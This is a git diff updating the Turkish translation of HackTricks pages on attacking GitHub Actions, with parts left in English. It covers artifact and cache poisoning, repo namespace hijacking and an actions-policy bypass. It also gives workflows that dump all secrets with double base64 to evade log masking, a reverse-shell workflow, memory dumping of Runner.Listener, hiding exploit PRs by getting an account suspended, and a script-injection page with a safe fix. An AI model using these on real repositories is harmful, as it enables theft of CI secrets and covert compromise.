-Sorun şu ki, **`path`** parametresi ayarlanmazsa, artefakt mevcut dizine çıkarılır ve daha sonra iş akışında kullanılabilecek veya hatta çalıştırılabilecek dosyaları geçersiz kılabilir. Bu nedenle, eğer Artefakt hassassa, bir saldırgan bunu, Artefakt'a güvenen diğer iş akışlarını tehlikeye atmak için kötüye kullanabilir.
+Asıl sorun şu ki, eğer **`path`** parametresi ayarlanmamışsa, artifact mevcut dizine çıkarılır ve bu, daha sonra workflow içinde kullanılabilecek veya hatta çalıştırılabilecek dosyaların üzerine yazabilir. Bu nedenle, Artifact zafiyetliyse, bir saldırgan bunu kötüye kullanarak Artifact'a güvenen diğer workflow'ları tehlikeye atabilir.
 
-Hassas iş akışı örneği:
+Zafiyetli workflow örneği:
 ```yaml
 on:
 workflow_run:
@@ -373,7 +376,7 @@ with:
 name: artifact
 path: ./script.py
 ```
-Bu iş akışıyla saldırıya uğrayabilir:
+Bu, şu workflow ile saldırılabilir:
 ```yaml
 name: "some workflow"
 on: pull_request
@@ -392,33 +395,33 @@ path: ./script.py
 
 ## Diğer Harici Erişim
 
-### Silinmiş Namespace Repo Ele Geçirme
+### Deleted Namespace Repo Hijacking
 
-Eğer bir hesap adını değiştirirse, başka bir kullanıcı bir süre sonra o isimle bir hesap kaydedebilir. Eğer bir depo **isim değişikliğinden önce 100'den az yıldız aldıysa**, Github, aynı isimle yeni kayıtlı kullanıcının **silinenle aynı isimde bir depo oluşturmasına** izin verecektir.
+If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
 
 > [!CAUTION]
-> Yani, eğer bir işlem var olmayan bir hesaptan bir depo kullanıyorsa, bir saldırganın o hesabı oluşturup işlemi tehlikeye atması hala mümkün olabilir.
+> Bu yüzden eğer bir action, mevcut olmayan bir account'tan bir repo kullanıyorsa, bir saldırgan o account'u oluşturup action'ı ele geçirebilir.
 
-Eğer diğer depolar **bu kullanıcı depolarından bağımlılıklar** kullanıyorsa, bir saldırgan bunları ele geçirebilir. İşte daha kapsamlı bir açıklama: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
+If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
 
 ---
 
-## Repo Pivotlama
+## Repo Pivoting
 
 > [!NOTE]
-> Bu bölümde, ilk depoda bir tür erişimimiz olduğunu varsayarak **bir depodan diğerine geçiş yapmamızı** sağlayacak tekniklerden bahsedeceğiz (önceki bölümü kontrol edin).
+> Bu bölümde, ilk repo üzerinde bir erişimimiz olduğunu varsayarak **pivot from one repo to another** sağlayan tekniklerden bahsedeceğiz (önceki bölüme bakın).
 
-### Cache Zehirleme
+### Cache Poisoning
 
-Bir cache, **aynı dalda workflow çalışmaları arasında** korunur. Bu, bir saldırganın **bir paketi tehlikeye atması** durumunda, bu paketin cache'de saklanacağı ve **daha yetkili** bir workflow tarafından **indirilip** çalıştırılacağı anlamına gelir; bu durumda o workflow'u da **tehlikeye atabilecektir**.
+A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
 
 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}
 
-### Artifact Zehirleme
+### Artifact Poisoning
 
-Workflow'lar **diğer workflow'lardan ve hatta depolardan** **artifact'lar** kullanabilir; eğer bir saldırgan, başka bir workflow tarafından daha sonra kullanılan bir **artifact'ı yükleyen** Github Action'ı **tehlikeye atmayı** başarırsa, o zaman **diğer workflow'ları da tehlikeye atabilir**:
+Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
 
 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -426,11 +429,36 @@ gh-actions-artifact-poisoning.md
 
 ---
 
-## Bir Aksiyon Sonrası Sömürü
+## Post Exploitation from an Action
 
-### OIDC Üzerinden AWS ve GCP'ye Erişim
+### Github Action Policies Bypass
 
-Aşağıdaki sayfaları kontrol edin:
+As commented in [**this blog post**](https://blog.yossarian.net/2025/06/11/github-actions-policies-dumb-bypass), even if a repository or organization has a policy restricting the use of certain actions, an attacker could just download (`git clone`) and action inside the workflow and then reference it as a local action. As the policies doesn't affect local paths, **the action will be executed without any restriction.**
+
+Örnek:
+```yaml
+on: [push, pull_request]
+
+jobs:
+test:
+runs-on: ubuntu-latest
+steps:
+- run: |
+mkdir -p ./tmp
+git clone https://github.com/actions/checkout.git ./tmp/checkout
+
+- uses: ./tmp/checkout
+with:
+repository: woodruffw/gha-hazmat
+path: gha-hazmat
+
+- run: ls && pwd
+
+- run: ls tmp/checkout
+```
+### OIDC ile AWS ve GCP'ye erişim
+
+Aşağıdaki sayfalara bakın:
 
 {{#ref}}
 ../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
@@ -440,15 +468,15 @@ Aşağıdaki sayfaları kontrol edin:
 ../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
 {{#endref}}
 
-### Gizli Bilgilere Erişim <a href="#accessing-secrets" id="accessing-secrets"></a>
+### Secrets'e erişim <a href="#accessing-secrets" id="accessing-secrets"></a>
 
-Eğer bir script'e içerik enjekte ediyorsanız, gizli bilgilere nasıl erişebileceğinizi bilmek ilginçtir:
+Bir script'e içerik enjekte ediyorsanız, secrets'e nasıl erişebileceğinizi bilmek faydalı olabilir:
 
-- Eğer gizli bilgi veya token bir **çevre değişkeni** olarak ayarlandıysa, **`printenv`** kullanarak çevre üzerinden doğrudan erişilebilir.
+- Eğer secret veya token bir **environment variable** olarak ayarlanmışsa, **`printenv`** kullanılarak ortam üzerinden doğrudan erişilebilir.
 
 <details>
 
-<summary>Github Action çıktısında gizli bilgileri listele</summary>
+<summary>Github Action çıktısında secrets'leri listele</summary>
 ```yaml
 name: list_env
 on:
@@ -475,7 +503,7 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 
 <details>
 
-<summary>Secrets ile ters shell al</summary>
+<summary>Secrets ile reverse shell al</summary>
 ```yaml
 name: revshell
 on:
@@ -498,15 +526,15 @@ secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
 ```
 </details>
 
-- Eğer gizli bilgi **bir ifadede doğrudan** kullanılıyorsa, oluşturulan shell scripti **diskte** saklanır ve erişilebilir.
+- If the secret is used **directly in an expression**, the generated shell script is stored **on-disk** and is accessible.
 - ```bash
 cat /home/runner/work/_temp/*
 ```
-- JavaScript eylemleri için gizli bilgiler ortam değişkenleri aracılığıyla gönderilir.
+- For a JavaScript actions the secrets and sent through environment variables
 - ```bash
 ps axe | grep node
 ```
-- **Özel bir eylem** için, risk, programın elde ettiği gizli bilgiyi **argüman** olarak nasıl kullandığına bağlı olarak değişebilir:
+- For a **custom action**, the risk can vary depending on how a program is using the secret it obtained from the **argument**:
 
 ```yaml
 uses: fakeaction/publish@v3
@@ -514,27 +542,51 @@ with:
 key: ${{ secrets.PUBLISH_KEY }}
 ```
 
-### Kendinden Barındırılan Çalıştırıcıları Kötüye Kullanma
+- Enumerate all secrets via the secrets context (collaborator level). A contributor with write access can modify a workflow on any branch to dump all repository/org/environment secrets. Use double base64 to evade GitHub’s log masking and decode locally:
 
-**Github Actions'ın hangi non-github altyapısında çalıştırıldığını** bulmanın yolu, Github Action yapılandırma yaml'ında **`runs-on: self-hosted`** aramaktır.
+```yaml
+name: Steal secrets
+on:
+push:
+branches: [ attacker-branch ]
+jobs:
+dump:
+runs-on: ubuntu-latest
+steps:
+- name: Double-base64 the secrets context
+run: |
+echo '${{ toJson(secrets) }}' | base64 -w0 | base64 -w0
+```
 
-**Kendinden barındırılan** çalıştırıcılar, **ekstra hassas bilgilere** erişim sağlayabilir, diğer **ağ sistemlerine** (ağda savunmasız uç noktalar mı? meta veri servisi?) veya, izolasyon altında ve yok edilse bile, **birden fazla eylem aynı anda çalıştırılabilir** ve kötü niyetli olanı diğerinin **gizli bilgilerini çalabilir**.
+Decode locally:
 
-Kendinden barındırılan çalıştırıcılarda, herhangi bir adımda iş akışlarının tüm gizli bilgilerini içerecek olan **\_Runner.Listener**\_\*\* sürecinden gizli bilgileri elde etmek de mümkündür; belleğini dökerek:
+```bash
+echo "ZXdv...Zz09" | base64 -d | base64 -d
+```
+
+Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
+
+### Self-hosted runners'ın kötüye kullanılması
+
+Hangi **Github Actions'ın non-github altyapısında yürütüldüğünü** bulmanın yolu, Github Action yapılandırma yaml'ında **`runs-on: self-hosted`** aramaktır.
+
+**Self-hosted** runner'lar ekstra hassas bilgilere, diğer **network systems**'e (ağdaki zafiyetli endpoints? metadata service?) erişim sağlayabilir veya izole edilip yok edilseler bile, **aynı anda birden fazla action çalıştırılabilir** ve kötü amaçlı olan action diğerinin **secrets**'larını çalabilir.
+
+Self-hosted runner'larda ayrıca belleğini dump ederek workflow'ların herhangi bir adımındaki tüm secrets'ları içerecek olan **secrets from the \_Runner.Listener**\_\*\* process\*\*'i elde etmek de mümkündür:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
 ```
-Daha fazla bilgi için [**bu gönderiyi kontrol edin**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
+Daha fazla bilgi için [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
 
-### Github Docker Görüntüleri Kaydı
+### Github Docker Images Registry
 
-Github içinde **bir Docker görüntüsü oluşturup depolayacak Github eylemleri** yapmak mümkündür.\
-Aşağıdaki genişletilebilir örnekte bir örnek bulabilirsiniz:
+Github actions ile bir Docker image'ı Github içinde **build edip depolamak** mümkündür.\
+Bir örnek aşağıdaki genişleyebilir kısımda bulunabilir:
 
 <details>
 
-<summary>Github Action Docker Görüntüsü Oluştur & Yükle</summary>
+<summary>Github Action Build & Push Docker Image</summary>
 ```yaml
 [...]
 
@@ -565,30 +617,34 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
 ```
 </details>
 
-Önceki kodda görebileceğiniz gibi, Github kayıt defteri **`ghcr.io`** üzerinde barındırılmaktadır.
+Önceki kodda görebileceğiniz gibi, Github registry **`ghcr.io`** üzerinde barındırılıyor.
 
-Repo üzerinde okuma izinlerine sahip bir kullanıcı, kişisel erişim token'ı kullanarak Docker Görüntüsünü indirebilecektir:
+Repoyu okuma iznine sahip bir kullanıcı, ardından kişisel erişim belirteci kullanarak Docker Image'ı indirebilir:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
 ```
-Sonra, kullanıcı **Docker imaj katmanlarında sızdırılmış gizli bilgileri** arayabilir:
+Then, kullanıcı **leaked secrets in the Docker image layers:** için arama yapabilir:
 
 {{#ref}}
 https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
 {{#endref}}
 
-### Github Actions günlüklerinde hassas bilgiler
+### Github Actions loglarında hassas bilgiler
 
-**Github** gizli değerleri **tespit etmeye** ve **göstermemeye** çalışsa da, eylemin yürütülmesi sırasında üretilmiş **diğer hassas veriler** gizli kalmayacaktır. Örneğin, bir gizli değerle imzalanmış bir JWT gizli kalmayacaktır, eğer [özellikle yapılandırılmamışsa](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
+Even if **Github** try to **detect secret values** in the actions logs and **avoid showing** them, **other sensitive data** that could have been generated in the execution of the action won't be hidden. For example a JWT signed with a secret value won't be hidden unless it's [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret).
 
-## İzlerinizi Gizleme
+## İzlerini Örtme
 
-([**buradan**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit) bir teknik) Öncelikle, oluşturulan herhangi bir PR, Github'da ve hedef GitHub hesabında kamuya açık olarak görünür. GitHub'da varsayılan olarak, **internet üzerindeki bir PR'ı silemeyiz**, ancak bir twist var. Github tarafından **askıya alınan** hesaplar için, tüm **PR'lar otomatik olarak silinir** ve internetten kaldırılır. Bu nedenle, etkinliğinizi gizlemek için ya **GitHub hesabınızın askıya alınmasını sağlamalı ya da hesabınızın işaretlenmesini** sağlamalısınız. Bu, **tüm etkinliklerinizi** GitHub'dan internetten gizleyecektir (temelde tüm istismar PR'larınızı kaldırır).
+(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Öncelikle, açılan herhangi bir PR hem Github üzerinde hem de hedef GitHub account için halka açıktır. GitHub'da varsayılan olarak, **we can’t delete a PR of the internet**, ama bir tuhaflık vardır. Github tarafından **suspended** edilen hesapların tüm **PR'leri otomatik olarak silinir** ve internetten kaldırılır. Bu nedenle aktivitenizi gizlemek için ya **GitHub account suspended** olmasını sağlamanız ya da hesabınızın **flagged** edilmesi gerekir. Bu, GitHub üzerindeki tüm aktivitelerinizi internetten **gizleyecektir** (temelde exploit PR'lerinizi kaldırır).
 
-GitHub'daki bir organizasyon, hesapları GitHub'a bildirmede çok proaktiftir. Tek yapmanız gereken, Issue'da "biraz şey" paylaşmak ve 12 saat içinde hesabınızın askıya alınmasını sağlamak :p ve işte, istismarınızı GitHub'da görünmez hale getirdiniz.
+Bir organization GitHub üzerinde hesapları GitHub'a bildirme konusunda çok proaktiftir. Yapmanız gereken tek şey Issue içinde “some stuff” paylaşmak ve onlar hesabınızın 12 saat içinde suspended olmasını sağlayacaklardır :p böylece exploit'iniz github üzerinde görünmez hale gelir.
 
 > [!WARNING]
-> Bir organizasyonun hedef alındığını anlamanın tek yolu, GitHub günlüklerini SIEM'den kontrol etmektir, çünkü GitHub UI'dan PR kaldırılacaktır.
+> The only way for an organization to figure out they have been targeted is to check GitHub logs from SIEM since from GitHub UI the PR would be removed.
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
 
 {{#include ../../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-context-script-injections.md

@@ -1,3 +1,96 @@
 # Gh Actions - Context Script Injections
 
 {{#include ../../../banners/hacktricks-training.md}}
+
+## Riskin anlaşılması
+
+GitHub Actions, adım çalışmadan önce ${{ ... }} ifadelerini render eder. Render edilmiş değer adımın programına yapıştırılır (run adımları için bir shell script). Eğer untrusted input'u doğrudan run: içine interpolate ederseniz, saldırgan shell programının bir kısmını kontrol eder ve rastgele komutlar çalıştırabilir.
+
+Dokümanlar: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions ve contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
+
+Önemli noktalar:
+- Render işlemi yürütmeden önce gerçekleşir. run script, tüm ifadeler çözülmüş şekilde oluşturulur ve ardından shell tarafından çalıştırılır.
+- Birçok contexts, tetikleyici olaya bağlı olarak kullanıcı kontrollü alanlar içerir (issues, PRs, comments, discussions, forks, stars, vb.). untrusted input referansına bakın: https://securitylab.github.com/resources/github-actions-untrusted-input/
+- run: içindeki shell quoting güvenilir bir savunma değildir, çünkü enjeksiyon şablon render aşamasında gerçekleşir. Saldırganlar aldatıcı input ile tırnaklardan çıkabilir veya operatörler enjekte edebilir.
+
+## Zafiyetli desen → runner üzerinde RCE
+
+Zafiyetli workflow (birisi yeni bir issue açtığında tetiklenir):
+```yaml
+name: New Issue Created
+on:
+issues:
+types: [opened]
+jobs:
+deploy:
+runs-on: ubuntu-latest
+permissions:
+issues: write
+steps:
+- name: New issue
+run: |
+echo "New issue ${{ github.event.issue.title }} created"
+- name: Add "new" label to issue
+uses: actions-ecosystem/action-add-labels@v1
+with:
+github_token: ${{ secrets.GITHUB_TOKEN }}
+labels: new
+```
+Eğer bir saldırgan $(id) başlıklı bir issue açarsa, render edilen adım şöyle olur:
+```sh
+echo "New issue $(id) created"
+```
+Command substitution, runner üzerinde id komutunu çalıştırır. Örnek çıktı:
+```
+New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
+```
+Neden tırnaklama sizi kurtarmaz:
+- İfadeler önce işlenir, sonra ortaya çıkan script çalıştırılır. Eğer güvenilmeyen değer $(...), `;`, `"`/`'`, veya yeni satırlar içeriyorsa, tırnaklamanıza rağmen program yapısını değiştirebilir.
+
+## Güvenli yöntem (shell variables via env)
+
+Doğru çözüm: güvenilmeyen girdiyi bir çevresel değişkene kopyalayın, sonra run script içinde yerel shell genişletmesini ($VAR) kullanın. Komut içinde ${{ ... }} ile yeniden gömmeyin.
+```yaml
+# safe
+jobs:
+deploy:
+runs-on: ubuntu-latest
+steps:
+- name: New issue
+env:
+TITLE: ${{ github.event.issue.title }}
+run: |
+echo "New issue $TITLE created"
+```
+Notlar:
+- run: içinde ${{ env.TITLE }} kullanmaktan kaçının. Bu, şablon işleme (template rendering)'i komuta geri sokar ve aynı enjeksiyon riskini getirir.
+- Güvenilmeyen girdileri env: mapping üzerinden iletmeyi tercih edin ve run: içinde onları $VAR ile referanslayın.
+
+## Okuyucu tarafından tetiklenebilen yüzeyler (güvenilmez sayın)
+
+Public repository'lerde yalnızca okuma izni olan hesaplar yine de birçok olayı tetikleyebilir. Bu olaylardan türetilen bağlamlardaki herhangi bir alan, aksi kanıtlanana kadar saldırgan kontrollü olarak kabul edilmelidir. Örnekler:
+- issues, issue_comment
+- discussion, discussion_comment (orglar discussions'ı kısıtlayabilir)
+- pull_request, pull_request_review, pull_request_review_comment
+- pull_request_target (kötü kullanılırsa tehlikeli, base repo bağlamında çalışır)
+- fork (herkes public repo'ları fork'layabilir)
+- watch (bir repoya yıldız koyma)
+- Dolaylı olarak workflow_run/workflow_call zincirleri aracılığıyla
+
+Hangi spesifik alanların saldırgan kontrollü olduğu event'e özeldir. GitHub Security Lab’in untrusted input rehberine bakın: https://securitylab.github.com/resources/github-actions-untrusted-input/
+
+## Pratik ipuçları
+
+- run: içinde expressions kullanımını en aza indirin. env: mapping + $VAR tercih edin.
+- Girdiyi dönüştürmeniz gerekiyorsa, bunu shell içinde güvenli araçlarla yapın (printf %q, jq -r, vb.), yine de bir shell değişkeninden başlayarak.
+- branch isimlerini, PR başlıklarını, kullanıcı adlarını, label'ları, discussion başlıklarını ve PR head refs'lerini scriptlere, komut satırı bayraklarına veya dosya yollarına yerleştirirken ekstra dikkatli olun.
+- Reusable workflows ve composite actions için aynı deseni uygulayın: env: üzerinden iletin, sonra $VAR ile referanslayın.
+
+## References
+
+- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
+- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
+- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
+- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
+
+{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-ci-cd/github-security/basic-github-information.md

@@ -1,156 +1,156 @@
-# Temel Github Bilgisi
+# Temel Github Bilgileri
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Temel Yapı
 
-Büyük bir **şirketin** temel github ortam yapısı, **birden fazla organizasyona sahip olan bir **şirket** sahibi olmaktır ve her biri **birkaç depo** ve **birkaç takım** içerebilir. Daha küçük şirketler sadece **bir organizasyona ve hiçbir şirkete sahip olabilir**.
+Büyük bir **şirket**in temel github ortam yapısı, bir **enterprise**'a sahip olmaktır; bu enterprise birkaç **organization**'a sahiptir ve her biri **birden fazla repository** ve **birden fazla team** içerebilir. Daha küçük şirketler sadece **tek bir organization sahibi olup enterprise'a sahip olmayabilir**.
 
-Bir kullanıcı açısından, bir **kullanıcı** **farklı şirketler ve organizasyonlar** üyesi olabilir. Bu organizasyonlar içinde kullanıcı, **farklı şirket, organizasyon ve depo rollerine** sahip olabilir.
+Kullanıcı açısından bir **user**, **farklı enterprise'ların ve organization'ların** bir üyesi olabilir. Bu yapıların içinde kullanıcı farklı **enterprise, organization ve repository rolleri** taşıyabilir.
 
-Ayrıca, bir kullanıcı **farklı takımlarda** farklı şirket, organizasyon veya depo rollerine sahip olabilir.
+Ayrıca bir kullanıcı farklı **takımların (teams)** üyesi olabilir ve bu takımlarda farklı enterprise, organization veya repository rolleri olabilir.
 
-Ve nihayetinde, **depolar özel koruma mekanizmalarına** sahip olabilir.
+Ve son olarak **repository'ler özel koruma mekanizmalarına sahip olabilir.**
 
 ## Ayrıcalıklar
 
-### Şirket Rolleri
+### Enterprise Rolleri
 
-- **Şirket sahibi**: Bu role sahip kişiler, **yönetici yönetimi, şirket içindeki organizasyonları yönetme, şirket ayarlarını yönetme, organizasyonlar arasında politika uygulama** gibi işlemleri gerçekleştirebilir. Ancak, **organizasyon ayarlarına veya içeriğine erişemezler**; yalnızca bir organizasyon sahibi yapılmışlarsa veya bir organizasyona ait bir depoya doğrudan erişim verilmişse erişebilirler.
-- **Şirket üyeleri**: Şirketinizin sahip olduğu organizasyonların üyeleri de **otomatik olarak şirketin üyeleri**dir.
+- **Enterprise owner**: Bu role sahip kişiler **yöneticileri yönetebilir, enterprise içindeki organization'ları yönetebilir, enterprise ayarlarını yönetebilir, organization'lar arasında politika uygulayabilir**. Ancak, bir organization sahibi yapılmadıkları veya organization'a ait bir repository'e doğrudan erişim verilmediği sürece **organization ayarlarına veya içeriğine erişemezler**.
+- **Enterprise members**: Enterprise'ınız tarafından sahip olunan organization'ların üyeleri **otomatik olarak enterprise üyeleri** olur.
 
-### Organizasyon Rolleri
+### Organization Rolleri
 
-Bir organizasyonda kullanıcıların farklı rolleri olabilir:
+Bir organization içinde kullanıcılar farklı rollere sahip olabilir:
 
-- **Organizasyon sahipleri**: Organizasyon sahipleri, **organizasyonunuza tam yönetim erişimine** sahiptir. Bu rol sınırlı olmalı, ancak organizasyonunuzda en az iki kişiye verilmelidir.
-- **Organizasyon üyeleri**: **Varsayılan**, yönetici olmayan rol **organizasyondaki kişiler için** organizasyon üyesidir. Varsayılan olarak, organizasyon üyeleri **bir dizi izne** sahiptir.
-- **Faturalama yöneticileri**: Faturalama yöneticileri, **organizasyonunuzun faturalama ayarlarını yönetebilen** kullanıcılardır; örneğin, ödeme bilgileri.
-- **Güvenlik Yöneticileri**: Organizasyon sahiplerinin herhangi bir takıma atayabileceği bir roldür. Uygulandığında, takımın her üyesine **organizasyon genelinde güvenlik uyarılarını ve ayarlarını yönetme izinleri ile organizasyondaki tüm depolar için okuma izinleri** verir.
-- Eğer organizasyonunuzun bir güvenlik takımı varsa, güvenlik yöneticisi rolünü kullanarak takım üyelerine organizasyona ihtiyaç duydukları en az erişimi verebilirsiniz.
-- **Github Uygulama yöneticileri**: Bir organizasyona ait GitHub Uygulamalarını **yönetmek için ek kullanıcılara izin vermek** amacıyla, bir sahibi onlara GitHub Uygulama yöneticisi izinleri verebilir.
-- **Dış işbirlikçileri**: Dış işbirlikçisi, **bir veya daha fazla organizasyon deposuna erişimi olan ancak organizasyonun açıkça bir üyesi olmayan** kişidir.
+- **Organization owners**: Organization sahipleri **organization üzerinde tam idari erişime** sahiptir. Bu rol sınırlı tutulmalı, ancak organization içinde en az iki kişiden daha az olmamalıdır.
+- **Organization members**: Organization içindeki kişilerin varsayılan, idari olmayan rolü organization member'dır. Varsayılan olarak organization üyeleri **bir dizi izne** sahiptir.
+- **Billing managers**: Billing manager'lar organization için **fatura ayarlarını yönetebilen** kullanıcılardır (ör. ödeme bilgileri).
+- **Security Managers**: Organization sahiplerinin herhangi bir team'e atayabileceği bir roldür. Uygulandığında, takımın her üyesine **organizasyon genelindeki security alert'leri ve ayarlarını yönetme izni ile tüm repository'leri okuma izni** verir.
+- Eğer organization'ın bir security takımı varsa, security manager rolünü takım üyelerine organizasyona erişmek için gereken en az izinleri vermek amacıyla kullanabilirsiniz.
+- **Github App managers**: Organization tarafından sahip olunan GitHub App'leri yönetmek için ek kullanıcılara izin vermek amacıyla owner onlara GitHub App manager izinleri verebilir.
+- **Outside collaborators**: Outside collaborator, organization üyesi olarak açıkça yer almayan ancak **bir veya daha fazla organization repository'sine erişimi olan** kişidir.
 
-Bu rollerin izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
+Bu rollerin izinlerini şu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
 
 ### Üye Ayrıcalıkları
 
-_https://github.com/organizations/\<org_name>/settings/member_privileges_ adresinde, **organizasyona üye olmanın getirdiği izinleri** görebilirsiniz.
+_https://github.com/organizations/\<org_name>/settings/member_privileges_ adresinde, **organizasyonun bir parçası olmanın kullanıcılara vereceği izinleri** görebilirsiniz.
 
-Burada yapılandırılan ayarlar, organizasyon üyelerinin aşağıdaki izinlerini gösterecektir:
+Burada yapılandırılan ayarlar organizasyon üyelerinin aşağıdaki izinlerini belirler:
 
-- Tüm organizasyon depoları üzerinde yönetici, yazar, okuyucu veya hiçbir izin olma durumu.
-- Üyelerin özel, dahili veya genel depolar oluşturup oluşturamayacağı.
-- Depoların çatallanmasının mümkün olup olmadığı.
-- Dış işbirlikçilerini davet etmenin mümkün olup olmadığı.
-- Genel veya özel sitelerin yayınlanıp yayınlanamayacağı.
-- Yöneticilerin depolar üzerindeki izinleri.
-- Üyelerin yeni takımlar oluşturup oluşturamayacağı.
+- Tüm organization repository'leri üzerinde admin, writer, reader veya hiç izin olmama.
+- Üyelerin private, internal veya public repository oluşturup oluşturamayacağı.
+- Repository'lerin fork edilip edilemeyeceği.
+- Outside collaborator davet etmenin mümkün olup olmadığı.
+- Public veya private sitelerin yayınlanıp yayınlanamayacağı.
+- Admin'lerin repository'ler üzerindeki izinleri.
+- Üyelerin yeni team oluşturup oluşturamayacağı.
 
-### Depo Rolleri
+### Repository Rolleri
 
-Varsayılan olarak depo rolleri oluşturulur:
+Varsayılan olarak repository rolleri oluşturulur:
 
-- **Okuma**: Projenizi görüntülemek veya tartışmak isteyen **kod katkıda bulunmayanlar** için önerilir.
-- **Triage**: Yazma erişimi olmadan **sorunları ve çekme isteklerini proaktif bir şekilde yönetmesi gereken katkıda bulunanlar** için önerilir.
-- **Yazma**: Projenize **aktif olarak katkıda bulunanlar** için önerilir.
-- **Bakım**: Hassas veya yıkıcı eylemlere erişim olmadan **depoları yönetmesi gereken proje yöneticileri** için önerilir.
-- **Yönetici**: **Proje üzerinde tam erişime** ihtiyaç duyan kişiler için önerilir; bu, güvenliği yönetmek veya bir depoyu silmek gibi hassas ve yıkıcı eylemleri içerir.
+- **Read**: Projeyi görüntülemek veya tartışmak isteyen **kod dışı katkıcılar** için önerilir.
+- **Triage**: Yazma erişimi olmadan **issue ve pull request'leri proaktif olarak yönetmesi gereken katkıcılar** için önerilir.
+- **Write**: Projeye aktif olarak push yapan katkıcılar için önerilir.
+- **Maintain**: Hassas veya yok edici eylemlere erişimi olmadan **repository'yi yönetmesi gereken proje yöneticileri** için önerilir.
+- **Admin**: Güvenlik yönetimi veya repository silme gibi hassas ve yok edici eylemler dahil olmak üzere **projeye tam erişim** needs eden kişiler için önerilir.
 
-Her rolün izinlerini bu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Her rolün izinlerini şu tabloda **karşılaştırabilirsiniz**: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
 
-Ayrıca, _https://github.com/organizations/\<org_name>/settings/roles_ adresinde **kendi rollerinizi oluşturabilirsiniz**.
+Ayrıca kendi rollerinizi _https://github.com/organizations/\<org_name>/settings/roles_ adresinde **oluşturabilirsiniz**.
 
-### Takımlar
+### Teams
 
-Bir organizasyonda **oluşturulan takımları listeleyebilirsiniz**: _https://github.com/orgs/\<org_name>/teams_. Diğer takımların alt takımlarını görmek için her ana takıma erişmeniz gerektiğini unutmayın.
+Organization'da oluşturulan takımları _https://github.com/orgs/\<org_name>/teams_ adresinde **listeleyebilirsiniz**. Diğer takımların alt takımlarını görmek için her parent team'e erişmeniz gerektiğini unutmayın.
 
-### Kullanıcılar
+### Users
 
-Bir organizasyonun kullanıcıları _https://github.com/orgs/\<org_name>/people_ adresinde **listelenebilir**.
+Organization kullanıcıları _https://github.com/orgs/\<org_name>/people_ adresinde **listelenebilir**.
 
-Her kullanıcının bilgileri içinde, **kullanıcının üyesi olduğu takımlar** ve **kullanıcının erişim sağladığı depolar** görülebilir.
